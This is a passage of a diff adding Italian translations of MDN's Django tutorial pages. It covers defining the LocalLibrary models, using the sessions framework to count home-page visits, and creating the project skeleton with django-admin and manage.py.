+    isbn = models.CharField('ISBN', max_length=13, help_text='13 Character &lt;a href="https://www.isbn-international.org/content/what-isbn"&gt;ISBN number&lt;/a&gt;')
+
+    # ManyToManyField used because genre can contain many books. Books can cover many genres.
+    # Genre class has already been defined so we can specify the object above.
+    genre = models.ManyToManyField(Genre, help_text='Select a genre for this book')
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return self.title
+
+    def get_absolute_url(self):
+        """Returns the url to access a detail record for this book."""
+        return reverse('book-detail', args=[str(self.id)])
+</pre>
+
+<p>Genre è un campo <code>ManyToManyField</code>, in modo che un libro possa avere più generi e un genere possa avere molti libri. L'autore è dichiarato come <code>ForeignKey</code>, quindi ogni libro avrà un solo autore, ma un autore può avere molti libri (in pratica un libro potrebbe avere più autori, ma non in questa implementazione semplificata!)</p>
+
+<p>In entrambi i tipi di campo, la classe del modello correlata viene dichiarata come il primo parametro senza nome utilizzando la classe del modello o una stringa contenente il nome del modello correlato. È necessario utilizzare il nome del modello come stringa se la classe associata non è stata ancora definita in questo file prima che venga referenziata! Gli altri parametri di interesse nel campo <code>author</code> sono <code>null=True,</code> che consente al database di memorizzare un valore <code>Null</code> se nessun autore viene selezionato e <code>on_delete=models.SET_NULL</code>, che imposterà il valore dell'autore su <code>Null</code> se l'autore associato al record viene cancellato.</p>
+
+<p>Inoltre il modello definisce <code>__str__()</code> , utilizzando il titolo del libro <code>title</code> per rappresentare un record di <code>Book</code>. L'ultimo metodo, <code>get_absolute_url()</code> ritorna un URL che può essere usato per accedere a un record di dettaglio per questo modello (per farlo funzionare dovremo definire una mappatura URL che abbia il nome <code>book-detail</code>, e una view e un template associati).</p>
+
+<h3 id="Modello_BookInstance">Modello BookInstance</h3>
+
+<p>Copia il modello <code>BookInstance</code> sotto gli altri modelli. <code>BookInstance</code> rappresenta una copia specifica di un libro che potrebbe essere presa in prestito da qualcuno e include informazioni sul fatto che la copia sia disponibile o sulla data in cui è prevista la restituzione, o dettagli sulla versione e un ID univoco per il libro nella biblioteca.</p>
+
+<p>Alcuni metodi e campi suoneranno familiari. Il modello utilizza</p>
+
+<ul>
+ <li><code>ForeignKey</code> per identificare il <code>Book</code> (ogni book ha possibilità di avere molte copie, ma una copia può avere un solo <code>Book</code>).</li>
+ <li><code>CharField</code> per rappresentare l'edizione del libro.</li>
+</ul>
+
+<pre class="brush: python">import uuid # Required for unique book instances
+
+class BookInstance(models.Model):
+    """Model representing a specific copy of a book (i.e. that can be borrowed from the library)."""
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, help_text='Unique ID for this particular book across whole library')
+    book = models.ForeignKey('Book', on_delete=models.SET_NULL, null=True)
+    imprint = models.CharField(max_length=200)
+    due_back = models.DateField(null=True, blank=True)
+
+    LOAN_STATUS = (
+        ('m', 'Maintenance'),
+        ('o', 'On loan'),
+        ('a', 'Available'),
+        ('r', 'Reserved'),
+    )
+
+    status = models.CharField(
+        max_length=1,
+        choices=LOAN_STATUS,
+        blank=True,
+        default='m',
+        help_text='Book availability',
+    )
+
+    class Meta:
+        ordering = ['due_back']
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return f'{self.id} ({self.book.title})'</pre>
+
+<p>Dichiaramo una ulteriore serie di nuovi campi di altri tipi:</p>
+
+<ul>
+ <li><code>UUIDField</code> usato per l'<code>id</code> per impostarlo come <code>primary_key</code> per questo modello. Questo tipo di campo alloca un valore globalmente univoco per ogni istanza (una per ogni libro che è possibile trovare nella biblioteca).</li>
+ <li><code>DateField</code> usato per la data <code>due_back</code> (data in cui il libro dovrebbe ritornare disponibile dopo essere stato in prestito o in manutenzione). Questo valore può essere <code>blank</code> o <code>null</code> (necessario per quando il libro è disponibile). Il metadato del modello (<code>Class Meta</code>) utilizza questo campo per ordinare i record quando vengono restituiti da una query.</li>
+ <li><code>status</code> è un <code>CharField</code> che definisce una scelta/lista di selezione. Come puoi vedere, definiamo una tupla contenente tuple di coppie chiave-valore (<strong>LOAN_STATUS</strong>) e la passiamo all'argomento di <strong>choices</strong>. Il valore in una coppia chiave/valore è un valore di visualizzazione che un utente può selezionare, mentre le chiavi sono i valori che vengono effettivamente salvati se l'opzione è selezionata. Abbiamo anche impostato un valore predefinito di "m" (<em>manutenzione</em>) poiché i libri inizialmente non saranno disponibili prima di essere immagazzinati sugli scaffali.</li>
+</ul>
+
+<p><code>__str__()</code> rappresenta l'oggetto <code>BookInstance</code> usando una combinazione del suo id univoco e del titolo del libro.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: un po' di Python:</p>
+
+<ul>
+ <li>A partire da Python 3.6, puoi utilizzare la sintassi di interpolazione delle stringhe (anche nota come f-strings): <code>f'{self.id} ({self.book.title})'</code>.</li>
+ <li>in altre versioni di questo tutorial, più vecchie, usavamo una stringa formattata (<a href="https://www.python.org/dev/peps/pep-3101/">formatted string</a>), che è un altro modo valido di formattare le stringhe in Python (esempio: <code>'{0} ({1})'.format(self.id,self.book.title)</code>).</li>
+</ul>
+</div>
+
+<h3 id="Modello_Autore">Modello Autore</h3>
+
+<p>Copia il modello <code>Author</code> (che trovi qui sotto) dopo il codice esistente in <strong>models.py</strong>.</p>
+
+<pre class="brush: python">class Author(models.Model):
+    """Model representing an author."""
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    class Meta:
+        ordering = ['last_name', 'first_name']
+
+    def get_absolute_url(self):
+        """Returns the url to access a particular author instance."""
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return f'{self.last_name}, {self.first_name}'
+
+</pre>
+
+<p>Tutti i campi/metodi dovrebbero ora essere familiari. Il modello definisce un autore avente un nome, un cognome, una data di nascita e la data di morte (entrambe opzionali). Esso specifica che per impostazione predefinita <code>__str__()</code> restituisca il nome nell'ordine <em>cognome</em> <em>nome</em>. Il metodo <code>get_absolute_url()</code> inverte il mapping degli URL di <code>author-detail</code> per ottenere l'URL per la visualizzazione di un singolo autore.</p>
+
+<h2 id="Rieseguire_le_migrazioni_del_database">Rieseguire le migrazioni del database</h2>
+
+<p>Tutti i modelli sono stati creati. Rilanciamo la migrazione del database per aggiungerli effettivamente al database.</p>
+
+<pre><code>python3 manage.py makemigrations
+python3 manage.py migrate</code></pre>
+
+<h2 id="Modello_del_linguaggio_—_Sfida">Modello del linguaggio — Sfida</h2>
+
+<p>Immagina che un benefattore locale doni un certo numero di nuovi libri scritti in un'altra lingua (diciamo, Farsi). La sfida è capire come questi sarebbero meglio rappresentati nel nostro sito web della biblioteca e poi aggiungerli ai model.</p>
+
+<p>Alcune considerazioni:</p>
+
+<ul>
+ <li>"Language" dovrebbe essere associato con <code>Book</code>, <code>BookInstance</code>, o altri objects?</li>
+ <li>I diversi linguaggi dovrebbero essere rappresentati utilizzando un model, una casella di testo o una lista codificata a mano?</li>
+</ul>
+
+<p>Dopo aver deciso, aggiungi il campo. Puoi vedere cosa abbiamo deciso su Github <a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">here</a>.</p>
+
+<p>Non dimenticare di rieffettuare le migrazioni dopo ogni cambiamento al tuo modello.</p>
+
+<pre><code>python3 manage.py makemigrations</code><code>
+python3 manage.py migrate</code></pre>
+
+<ul>
+</ul>
+
+<ul>
+</ul>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>In questo articolo abbiamo appreso come sono definiti i modelli, quindi abbiamo utilizzato queste informazioni per progettare e implementare modelli appropriati per il sito Web LocalLibrary.</p>
+
+<p>A questo punto ci allontaneremo brevemente dalla creazione del sito e controlleremo il sito di amministrazione di Django. Questo sito ci permetterà di aggiungere alcuni dati alla biblioteca, che possiamo quindi visualizzare usando le nostre view e template (ancora da creare).</p>
+
+<h2 id="Consulta_anche">Consulta anche</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/intro/tutorial02/">Writing your first Django app, part 2</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/db/queries/">Making queries</a> (Django Docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/querysets/">QuerySet API Reference</a> (Django Docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/it/learn/server-side/django/sessions/index.html b/files/it/learn/server-side/django/sessions/index.html
new file mode 100644
index 0000000000..0706090bd5
--- /dev/null
+++ b/files/it/learn/server-side/django/sessions/index.html
@@ -0,0 +1,195 @@
+---
+title: 'Django Tutorial Part 7: Sessions framework'
+slug: Learn/Server-side/Django/Sessions
+tags:
+  - Articolo
+  - Principiante
+  - Python
+  - Server
+  - django
+  - sessioni
+translation_of: Learn/Server-side/Django/Sessions
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Questo tutorial estende il nostro sito <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, aggiungendo un contatore di visite session-based alla home page. Questo è un esempio relativamente semplice, ma mostra come si può usare il session framework per fornire comportamento persistente per utenti anonimi nei tuoi siti.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Completa tutti gli argomenti dei tutorial precedenti, compreso <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Capire come vengono utilizzate le sessioni.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>Il sito <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> che abbiamo creato nei precedenti tutorial permette agli utenti di navigare tra i libri e gli autori nel catalogo. Anche se il contenuto viene generato dinamicamente dal database, ogni utente essenzialmente avrà accesso alle stesse pagine e e gli stessi tipi di informazione quando utilizzano il sito.</p>
+
+<p>In una biblioteca "reale" potresti desiderare di fornire agli utenti individuali una esperienza customizzata, basata sul loro precedente utilizzo del sito, preferenze, ecc. Per esempio, potresti nascondere messaggi di avviso di cui gli utenti hanno già preso conoscenza la prossima volta che essi visitano il sito, o archiviare e rispettare le loro preferenze (ad esempio, il numero di risultati di ricerca che vogliono mostrato su ogni pagina). </p>
+
+<p>Il session framework ti consente di implementare questo tipo di comportamento, permettendoti di memorizzare e recuperare dati arbitrari su una base di visitstore per sito (per-site-visitor). </p>
+
+<h2 id="Cosa_sono_le_sessioni">Cosa sono le sessioni?</h2>
+
+<p>Tutte le comunicazioni tra browser web e i server avvengono attraverso il prootocollo HTTP, che è <em>stateless</em>. Il fatto che il protocollo sia stateless significa che i messagggi tra il client e il server sono completamente indipendenti da ciascuno degli altri— non esiste la nozione di "sequenza" o comportamento basato sui precedenti messaggi. Di conseguenza, se vuoi avere un sito che tenga traccia delle relazioni che sono in attive con un client, hai bisogno di implementarlo tu stesso.</p>
+
+<p>Le sessioni sono il meccanismo utilizzato da Django (e dalla maggior parte dell'Internet) per tenere traccia dello "stato" tra il sito e un particolare browser. Le sessioni ti consentono di memorizzare dati arbitrari per browser, e avere questi dati disponibili per il sito ogni volta che il browser si connette. Item individuali di dati associati con la sessione sono quindi referenziati con una "key", la quale è utilizzata sia per rchiviare che per recuperare i dati.</p>
+
+<p>Django utilizza un cookie contenente uno speciale <em>session id</em> per identificare ciascun browser e la sua sessione associata col sito. I <em>dati</em> della sessione effettiva sono archiviati nel database del sito di default (questo è più sicuro del memorizzare i dati in un cookie, dove sono più vulnerabili a utenti malevoli). Si può configurare Django per memorizzare i dati della sessione in altre posizioni (nella cache, nei file, nei "secure" cookie), ma la posizione di default è una opzione buona e relativamente sicura.</p>
+
+<h2 id="Abilitare_le_sessioni">Abilitare le sessioni</h2>
+
+<p>Le sessioni sono state abilitate automaticamente quando abbiamo <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">creato lo scheletro del sito web</a> (nel tutorial 2).</p>
+
+<p>La configurazione è imnpostata nelle sezioni <code>INSTALLED_APPS</code> e <code>MIDDLEWARE</code> del file di progetto (<strong>locallibrary/locallibrary/settings.py</strong>), come mostrato qui sotto:</p>
+
+<pre class="brush: python">INSTALLED_APPS = [
+    ...
+<strong>    'django.contrib.sessions',</strong>
+    ....
+
+MIDDLEWARE = [
+    ...
+<strong>    'django.contrib.sessions.middleware.SessionMiddleware',</strong>
+    ....</pre>
+
+<h2 id="Utilizzo_delle_sessioni">Utilizzo delle sessioni</h2>
+
+<p>Si può accedere all'attributo <code>session</code> nell view dal parametro <code>request</code> (una <code>HttpRequest</code> passata dentro come primo argomento alla view). Questo attributo sessione rappresenta la connessione specifica con l'utente attuale (o per essere più precisi, la connessione al browser attuale, come identificato dal session id nel cookie del browser per questo sito).</p>
+
+<p>L'attributo <code>session</code> è un oggetto simile a un dizionario (dictionary-like) che puoi leggere e scrivere quante volte vuoi nella tua view, modificandolo come desiderato. Si possono effettuare tutte le normali operazioni dei dictionary, inclusa la cancellazione di tutti i dati, testare se una chiave è presente, ciclare sui dati, ecc. Il più delle volte userete solo l'API standard "dictionary" per ottenere valori e impostare valori.</p>
+
+<p>I frammenti di codice sotto mostrano come si può ottenere, impostare, e cancellare alcuni dati con la key "<code>my_car</code>", associata alla sessione corrente (browser). </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Una delle cose belle di Django è che non c'è bisogno di pensare ai meccanismi che legano la sessione alla tua attuale richiesta nella tua view. Se dovessimo usare i frammenti di codice qui sotto nella nostra view, sapremmo che l'informazione su <code>my_car</code> è associata solo al browser che ha inviato la richiesta corrente.</p>
+</div>
+
+<pre class="brush: python"># Get a session value by its key (e.g. 'my_car'), raising a KeyError if the key is not present
+my_car = request.session['my_car']
+
+# Get a session value, setting a default if it is not present ('mini')
+my_car = request.session.get('my_car', 'mini')
+
+# Set a session value
+request.session['my_car'] = 'mini'
+
+# Delete a session value
+del request.session['my_car']
+</pre>
+
+<p>L'API offre anche un certo numero di altri metodi che sono usati principalmente per gestire il cookie associato alla sessione. Per esampio, ci sono metodi per testare che i cookie sono supportati nel browser client, per impostare e controllare la data di scadenza del cookie, e per cancellare le sessioni scadute dal data store. Puoi trovare informazioni sulla API completa in <a href="https://docs.djangoproject.com/en/2.1/topics/http/sessions/">How to use sessions</a> (Django docs).</p>
+
+<h2 id="Salvare_i_dati_di_sessione">Salvare i dati di sessione</h2>
+
+<p>Di default, Django salva solamente il database di sessione e invia il session cookie al client quando la sessione è stata <em>modificata</em> (assegnata) o<em>cancellata</em>. Se si sta aggiornando qualche dato utilizzando la sua session key come mostrato nella precedente sezione, allora non devi preoccuparti di questo! Per esempio:</p>
+
+<pre class="brush: python"># This is detected as an update to the session, so session data is saved.
+request.session['my_car'] = 'mini'</pre>
+
+<p>Se si stanno aggiornando alcune informazioni <em>all'interno</em> dei dati di sessione, allora Django non riconoscerà che hai fatto una modifica alla sessione e salva i dati (per esempio, se dovessi modificare i dati "<code>wheels</code>" all'interno dei tuoi dati "<code>my_car</code>", come mostrato sotto). In questo caso avrai bisogno di contrassegnare esplicitamente la sessione come modificata.</p>
+
+<pre class="brush: python"># Session object not directly modified, only data within the session. Session changes not saved!
+request.session['my_car']['wheels'] = 'alloy'
+
+# Set session as modified to force data updates/cookie to be saved.
+<code>request.session.modified = True</code>
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Si può modificare il comportamento in modo che il sito aggiorni il database/invii cookie su ciascuna request aggiungendo <code>SESSION_SAVE_EVERY_REQUEST = True</code> nelle tue impostazioni di progetto (<strong>locallibrary/locallibrary/settings.py</strong>).</p>
+</div>
+
+<h2 id="Semplice_esempio_—_ottenere_il_conteggio_delle_visite">Semplice esempio — ottenere il conteggio delle visite</h2>
+
+<p>Come esempio semplice del mondio reale, aggiorneremo la nostra biblioteca per dire all'utente attuale quante volte essi hanno visitato la home page della <em>LocalLibrary</em>. </p>
+
+<p>Apri <strong>/locallibrary/catalog/views.py</strong>, e effettua le modifiche mostrate in grassetto sotto. </p>
+
+<pre class="brush: python">def index(request):
+    ...
+
+    num_authors = Author.objects.count()  # The 'all()' is implied by default.
+
+<strong>    # Number of visits to this view, as counted in the session variable.
+    num_visits = request.session.get('num_visits', 0)
+    request.session['num_visits'] = num_visits + 1</strong>
+
+<strong>    context = {
+        'num_books': num_books,
+        'num_instances': num_instances,
+        'num_instances_available': num_instances_available,
+        'num_authors': num_authors,
+        'num_visits': num_visits,
+    }</strong>
+
+    # Render the HTML template index.html with the data in the context variable.
+    return render(request, 'index.html', context=context)</pre>
+
+<p>Qui prima otteniamo il valore della session key <code>'num_visits'</code>, impostiamo il valore a 0 se esso non è stato precedentemente impostato. Ogni volta che viene ricevuta una richiesta, allora si incrementa il valore e lo si memorizza di nuovo nella sessione (per la prossima volta che l'utente visita la pagina). La variabile <code>num_visits</code> viene quindi passata al template nella nostra variabile context.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Potremmo anche verificare se i cookie sono anche supportati nel browser qui (vedi <a href="https://docs.djangoproject.com/en/2.1/topics/http/sessions/">How to use sessions</a> per esempi) o progettare la nostra UI in modo che non importa se i cookie sono supportati o meno.</p>
+</div>
+
+<p>Aggiungi la linea che trovi alla fine del blocco qui sotto al tuo template HTML principale (<strong>/locallibrary/catalog/templates/index.html</strong>) alla fine della sezione "Dynamic content" per mostrare la variabile context:</p>
+
+<pre class="brush: html">&lt;h2&gt;Dynamic content&lt;/h2&gt;
+
+&lt;p&gt;The library has the following record counts:&lt;/p&gt;
+&lt;ul&gt;
+  &lt;li&gt;&lt;strong&gt;Books:&lt;/strong&gt; \{{ num_books }}&lt;/li&gt;
+  &lt;li&gt;&lt;strong&gt;Copies:&lt;/strong&gt; \{{ num_instances }}&lt;/li&gt;
+  &lt;li&gt;&lt;strong&gt;Copies available:&lt;/strong&gt; \{{ num_instances_available }}&lt;/li&gt;
+  &lt;li&gt;&lt;strong&gt;Authors:&lt;/strong&gt; \{{ num_authors }}&lt;/li&gt;
+&lt;/ul&gt;
+
+<strong>&lt;p&gt;You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{% else %} times{% endif %}.&lt;/p&gt;</strong>
+</pre>
+
+<p>Salva le modifiche e riavvia il server di test. Ogni volta che tu farai un refresh della pagina, il numero dovrebbe aggiornarsi.</p>
+
+<ul>
+</ul>
+
+<h2 id="Riepilogo">Riepilogo</h2>
+
+<p>Ora sai come è facile utilizzare per migliorare la tua interazione con utenti <em>anonimi</em>. </p>
+
+<p>Nei nostri prossimi articoli spiegheremo il framework per l'autenticazione ed autorizzazione (permessi), e ti mostreremo come supportare gli account user.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/http/sessions/">How to use sessions</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/Authentication", "Learn/Server-side/Django")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/it/learn/server-side/django/skeleton_website/index.html b/files/it/learn/server-side/django/skeleton_website/index.html
new file mode 100644
index 0000000000..1f5d7117ff
--- /dev/null
+++ b/files/it/learn/server-side/django/skeleton_website/index.html
@@ -0,0 +1,406 @@
+---
+title: 'Django Tutorial Parte 2: Creare lo scheletro di un sito web'
+slug: Learn/Server-side/Django/skeleton_website
+tags:
+  - Articolo
+  - Guida
+  - Intro
+  - Introduzione
+  - Principianti
+  - Tutorial
+  - backend
+  - django
+  - imparare
+translation_of: Learn/Server-side/Django/skeleton_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Questo secondo articolo del nostro <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial Django</a> mostra come creare uno "scheletro" di progetto di un sito web come base, che potrà poi essere popolato con le impostazioni specifiche del sito, con i path, con i modelli, le view, e i template.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Creare un ambiente di sviluppo Django</a>. Visita: <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivi:</th>
+   <td>Essere in grado di utilizzare i tool Django per iniziare il tuo progetto web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>Questo articolo mostra come creare uno "scheletro" di un sito web, che potrà poi essere popolato con impostazioni specifiche del sito, con i path, con i model, le view, e i template (discuteremo di questo in successivi articoli).</p>
+
+<p>Il processo è semplice:</p>
+
+<ol>
+ <li>Utilizzare lo strumento <code>django-admin</code> per creare la cartella del progetto, i templates di file di base e lo script di gestione del progetto (<strong>manage.py</strong>).</li>
+ <li>Utilizzare <strong>manage.py</strong> per creare una o più <em>applicazioni</em><span style="line-height: 1.5;">.</span>
+  <div class="note">
+  <p><strong>Nota</strong>: un sito Web può essere costituito da una o più sezioni, ad es. sito principale, blog, wiki, area download, ecc. Django ti incoraggia a sviluppare questi componenti come <em>applicazioni</em> separate, che potrebbero poi essere riutilizzate in diversi progetti, se necessario. </p>
+  </div>
+ </li>
+ <li>Registrare le nuove applicazioni per includerle nel progetto<span style="line-height: 1.5;">. </span></li>
+ <li>Collegare il mapper url/path per ciascuna applicazione<span style="line-height: 1.5;">.</span></li>
+</ol>
+
+<p>Per il <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">sito web Local Library</a> la cartella del sito web e la sua cartella di progetto saranno chiamate <em>locallibrary</em>, e avremo solo un'applicazione chiamata <em>catalog</em>. La struttura delle cartelle di livello superiore sarà quindi la seguente:</p>
+
+<pre class="brush: bash"><code>locallibrary/         # Cartella Sito Web
+    manage.py         # Script per eseguire i tool di Django per questo progetto (creato utilizzando django-admin)
+    locallibrary/     # Cartella sito web/progetto (creata utilizzando django-admin)
+    catalog/          # Cartella Application (creata utilizzando manage.py)</code>
+</pre>
+
+<p>Le sezioni seguenti illustrano in dettaglio le fasi del processo e mostrano come testare le modifiche. Alla fine dell'articolo discuteremo alcune delle altre configurazioni a livello di sito che potresti fare anche in questa fase.</p>
+
+<h2 id="Creare_il_progetto">Creare il progetto</h2>
+
+<p>Per prima cosa apri un prompt dei comandi / terminale, assicurati di essere nel tuo <a href="/en-US/docs/Learn/Server-side/Django/development_environment#Using_a_virtual_environment">virtual environment</a>, accedi a dove vuoi archiviare le tue app Django (mettile in un posto facilmente reperibile, all'interno della tua cartella documenti) e crea una cartella per il tuo nuovo sito web (in questo caso: <em>django_projects</em>). Poi entra nella cartella col comando cd:</p>
+
+<pre class="brush: bash">mkdir django_projects
+cd django_projects</pre>
+
+<p>Crea il nuovo progetto utilizzando il comando <code>django-admin startproject</code> come mostrato, poi naviga fino alla cartella.</p>
+
+<pre class="brush: bash">django-admin startproject locallibrary
+cd locallibrary</pre>
+
+<p>lo strumento <code>django-admin</code> crea una struttura cartella/file come mostrata sotto:</p>
+
+<pre class="brush: bash"><em>locallibrary/</em>
+    manage.py
+    <em>locallibrary/</em>
+        __init__.py
+        settings.py
+        urls.py
+        wsgi.py</pre>
+
+<p>la cartella corrente dovrebbe somigliare alla seguente:</p>
+
+<pre class="syntaxbox">../django_projects/locallibrary/</pre>
+
+<p>La sottocartella del progetto <em>locallibrary</em> è l'entry point per il sito Web:</p>
+
+<ul>
+ <li><strong>__init__.py è</strong> un file vuoto che indica a Python di trattare questa directory come un pacchetto Python.</li>
+ <li><strong>settings.py</strong> contiene tutte le impostazioni del sito web. Qui è dove registriamo tutte le applicazioni che creiamo, la posizione dei nostri file statici, i dettagli di configurazione del database, ecc.</li>
+ <li><strong>urls.py</strong> definisce i mapping url-to-view del sito. Mentre questo potrebbe contenere tutto il codice di mappatura dell'URL, è più comune delegare parte della mappatura a particolari applicazioni, come vedremo più avanti.<span style="line-height: 1.5;"> </span></li>
+ <li><strong style="line-height: 1.5;">wsgi.py</strong><span style="line-height: 1.5;"> </span>è usato per aiutare la tua applicazione Django a comunicare con il server web.</li>
+</ul>
+
+<p>Lo script <strong>manage.py</strong> viene utilizzato per creare applicazioni, lavorare con i database e avviare il server web di sviluppo. </p>
+
+<h2 id="Creare_l'applicazione_di_catalogo">Creare l'applicazione di catalogo</h2>
+
+<p>Quindi, esegui il seguente comando per creare l'applicazione <em>catalog</em> che risiederà all'interno del nostro progetto di localibrary (deve essere eseguito nella stessa cartella di manage.py del tuo progetto):</p>
+
+<pre class="brush: bash">python3 manage.py startapp catalog</pre>
+
+<div class="note">
+<p><strong>Note</strong>: il comando precedente è per Linux / macOS X. Su Windows il comando dovrebbe essere:</p>
+
+<p> <code>py -3 manage.py startapp catalog</code></p>
+
+<p>Se stai lavorando con Windows rimpiazza <code>python3</code> con <code>py -3</code> in tutto questo modulo.</p>
+
+<p>Se stai usando la versione di Python 3.7.0 o superiore, devi usare solo:</p>
+
+<p><code>py manage.py startapp catalog</code></p>
+</div>
+
+<p>Lo strumento crea una nuova cartella e la popola con i file per le diverse parti dell'applicazione (mostrate in grassetto sotto). La maggior parte dei file ha un nome utile in base al loro scopo (ad esempio, le viste dovrebbero essere memorizzate in <strong>views.py</strong>, models in <strong>models.py</strong>, i test <strong>tests.py</strong>, le configurazioni per l'amministrazione in <strong>admin.py</strong>, le applicazioni in <strong>apps.py</strong>) e contenere un minimo di codice per il lavoro con gli oggetti associati.</p>
+
+<p>La directory del progetto aggiornata dovrebbe essere così ora:</p>
+
+<pre class="brush: bash"><em>locallibrary/</em>
+    manage.py
+    <em>locallibrary/
+</em><strong>    <em>catalog/</em>
+        admin.py
+        apps.py
+        models.py
+        tests.py
+        views.py
+        __init__.py
+        <em>migrations/</em></strong>
+</pre>
+
+<p>Inoltre abbiamo:</p>
+
